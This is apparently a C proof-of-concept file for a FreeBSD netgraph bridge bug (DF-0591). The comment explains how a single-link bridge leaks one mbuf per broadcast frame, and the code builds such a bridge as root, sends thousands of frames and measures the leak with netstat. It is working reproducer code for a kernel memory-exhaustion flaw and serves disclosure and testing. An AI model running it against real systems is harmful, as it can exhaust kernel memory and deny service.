DF-0591 / leak.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 | /* * DF-0591 PoC: legacy ng_bridge mbuf leak when numLinks == 1. * * Bug: ng_bridge_rcvdata() at sys/netgraph/bridge/ng_bridge.c:663 has a * fan-out loop guarded by * * for (linkNum = i = 0; i < priv->numLinks - 1; linkNum++) { ... } * * When the bridge has exactly ONE connected link (numLinks == 1), * `numLinks - 1 == 0` and the loop body never executes. The loop body is * the ONLY place the original mbuf `m` is consumed (m2 = m at :674, the * "last link" branch). So when the loop never runs, m is never freed and * never handed off -- the function falls through to `return (error)` at * :709 without ever calling NG_FREE_DATA(m, meta). One mbuf per packet * is leaked permanently. * * Trigger: any frame that reaches the fan-out block, i.e. any broadcast, * multicast, or unknown-unicast destination MAC, delivered to a bridge * that has only its incoming link connected. * * Reproduction strategy * ---------------------- * We build a single-link bridge entirely from userland using the ng_socket * data API (no ng_eiface / ng_iface required -- avoids the if_attach() * panic in the netisr context). We: * * 1. open an AF_NETGRAPH control socket (auto-creates an unnamed socket * node, which we then name "df591"); * 2. issue NGM_MKPEER on it to create a `bridge` node whose `link0` hook * is connected to our socket node's `out` hook -- the bridge now * has exactly ONE connected link, so numLinks == 1; * 3. open an AF_NETGRAPH NG_DATA socket bound to the same node; * 4. sendto() a broadcast Ethernet frame on the data socket, addressing * the local "out" hook. ng_socket's ngd_send() looks up the local * hook by name and NG_SEND_DATA()'s the mbuf down it -- the bridge * receives it and (because numLinks == 1) leaks it. * * Watch `netstat -m` "mbufs in use" climb by one per sendto() and never * come back down. The leak is straight-line: no race, 100% reliable. * * Build: cc -O2 -o leak leak.c * Run: ./leak [count] (default count = 5000) * Notes: must be run as root (ng_socket needs root on this guest). */ #include <sys/types.h> #include <sys/socket.h> #include <sys/errno.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <net/ethernet.h> #include <netgraph/socket/ng_socket.h> #include <netgraph/ng_message.h> #include <netgraph/bridge/ng_bridge.h> #define OUR_HOOK "out" /* local hook on our socket node */ #define PEER_HOOK "link0" /* hook on the bridge */ #define NODE_NAME "df591" /* our socket node name */ /* Ethernet broadcast frame: dst=bcast, src=02:00:00:00:00:01, type=0x0800 */ static unsigned char bcast_frame[] = { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, /* dst = broadcast */ 0x02, 0x00, 0x00, 0x00, 0x00, 0x01, /* src */ 0x08, 0x00, /* ethertype IPv4 */ 0x45, 0x00, 0x00, 0x14, 0x00, 0x00, /* minimal IP header */ 0x00, 0x00, 0x40, 0x00, 0x40, 0x11, 0x00, 0x00, 0x7f, 0x00, 0x00, 0x01, 0x7f, 0x00, 0x00, 0x01, }; /* Read "mbufs in use" from `netstat -m` output. Returns -1 on parse error. */ static long mbufs_in_use(void) { FILE *p = popen("netstat -m 2>/dev/null", "r"); char line[256]; long n = -1; if (p == NULL) return -1; while (fgets(line, sizeof(line), p) != NULL) { if (sscanf(line, "%ld mbufs in use:", &n) == 1) break; if (sscanf(line, "%ld mbufs in use", &n) == 1) break; } pclose(p); return n; } /* send a generic netgraph control message to our own node ("." path). */ static int ng_msg(int cs, u_int32_t cmd, u_int32_t cookie, const void *arg, size_t arglen) { struct sockaddr_ng sg; struct ng_mesg *msg; char msgbuf[sizeof(struct ng_mesg) + 256]; size_t total; if (arglen > 256) { errno = EINVAL; return -1; } memset(msgbuf, 0, sizeof(msgbuf)); msg = (struct ng_mesg *)msgbuf; msg->header.version = NG_VERSION; msg->header.typecookie = cookie; msg->header.cmd = cmd; msg->header.arglen = arglen; if (arglen) memcpy(msg->data, arg, arglen); total = sizeof(*msg) + arglen; memset(&sg, 0, sizeof(sg)); sg.sg_len = sizeof(struct sockaddr_ng) - sizeof(sg.sg_data) + 2; sg.sg_family = AF_NETGRAPH; sg.sg_data[0] = '.'; /* path = our own node */ sg.sg_data[1] = '\0'; return (int)sendto(cs, msgbuf, total, 0, (struct sockaddr *)&sg, sg.sg_len); } int main(int argc, char **argv) { struct sockaddr_ng sg; struct ngm_mkpeer mkp; struct ngm_name nm; char ascii_buf[64]; int cs, ds; /* control socket, data socket */ long count = (argc > 1) ? atol(argv[1]) : 5000; long mbufs_before, mbufs_after; ssize_t sent = 0; /* 1. control socket -> auto creates an unnamed ng_socket node */ cs = socket(AF_NETGRAPH, SOCK_DGRAM, NG_CONTROL); if (cs < 0) { perror("socket(NG_CONTROL)"); return 1; } /* 2. name our node so we can address it for the data-socket connect() */ memset(&nm, 0, sizeof(nm)); strlcpy(nm.name, NODE_NAME, sizeof(nm.name)); if (ng_msg(cs, NGM_NAME, NGM_GENERIC_COOKIE, &nm, sizeof(nm)) < 0) { perror("sendto(NGM_NAME)"); return 1; } /* 3. open data socket and CONNECT it to the named control node. * A bare socket(NG_DATA) leaves pcb->sockdata NULL, so the first * sendto() would fail with ENOTCONN; connect() links them. * Note: ng_path_parse needs "name:" to mean "node <name> at .". */ ds = socket(AF_NETGRAPH, SOCK_DGRAM, NG_DATA); if (ds < 0) { perror("socket(NG_DATA)"); return 1; } { struct sockaddr_ng tgt; char path[NG_NODESIZ + 4]; memset(&tgt, 0, sizeof(tgt)); snprintf(path, sizeof(path), "%s:", NODE_NAME); tgt.sg_len = sizeof(struct sockaddr_ng) - sizeof(tgt.sg_data) + strlen(path) + 1; tgt.sg_family = AF_NETGRAPH; strlcpy(tgt.sg_data, path, sizeof(tgt.sg_data)); if (connect(ds, (struct sockaddr *)&tgt, tgt.sg_len) < 0) { perror("connect(NG_DATA)"); return 1; } } /* 4. NGM_MKPEER: create a `bridge` node and peer our "out" hook * with its "link0" hook. numLinks on the bridge is now 1. */ memset(&mkp, 0, sizeof(mkp)); strlcpy(mkp.type, NG_BRIDGE_NODE_TYPE, sizeof(mkp.type)); strlcpy(mkp.ourhook, OUR_HOOK, sizeof(mkp.ourhook)); strlcpy(mkp.peerhook, PEER_HOOK, sizeof(mkp.peerhook)); if (ng_msg(cs, NGM_MKPEER, NGM_GENERIC_COOKIE, &mkp, sizeof(mkp)) < 0) { perror("sendto(NGM_MKPEER)"); fprintf(stderr, "Hint: kldload ng_socket ng_bridge first.\n"); return 1; } fprintf(stderr, "DF-0591: built single-link bridge (numLinks==1)\n" " %s:%s <-> bridge:%s\n" " injecting %ld broadcast frames via ng_socket...\n", NODE_NAME, OUR_HOOK, PEER_HOOK, count); mbufs_before = mbufs_in_use(); fprintf(stderr, " mbufs in use BEFORE: %ld\n", mbufs_before); /* 5. inject `count` broadcast frames into the bridge's only hook. */ memset(&sg, 0, sizeof(sg)); sg.sg_len = sizeof(struct sockaddr_ng) - sizeof(sg.sg_data) + strlen(OUR_HOOK) + 1; sg.sg_family = AF_NETGRAPH; strlcpy(sg.sg_data, OUR_HOOK, sizeof(sg.sg_data)); for (long i = 0; i < count; i++) { ssize_t n = sendto(ds, bcast_frame, sizeof(bcast_frame), 0, (struct sockaddr *)&sg, sg.sg_len); if (n < 0) { if (errno == ENOBUFS) continue; /* keep going; still leaked */ perror("sendto"); break; } sent++; } mbufs_after = mbufs_in_use(); fprintf(stderr, " sent=%zd / requested=%ld\n", sent, count); fprintf(stderr, " mbufs in use AFTER: %ld\n", mbufs_after); if (mbufs_before >= 0 && mbufs_after >= 0) { long delta = mbufs_after - mbufs_before; fprintf(stderr, " DELTA: %ld mbufs leaked\n", delta); if (delta > 0) { fprintf(stderr, "DF-0591 REPRODUCED: mbuf pool grew by %ld\n", delta); } else { fprintf(stderr, "DF-0591 NOT REPRODUCED: no growth\n"); } } (void)cs; (void)ds; snprintf(ascii_buf, sizeof(ascii_buf), "netstat -m | head -2; echo; " "ngctl show %s: 2>&1 | head -20", NODE_NAME); fprintf(stderr, "\n--- post-run snapshot ---\n"); if (system(ascii_buf) != 0) ; return 0; } |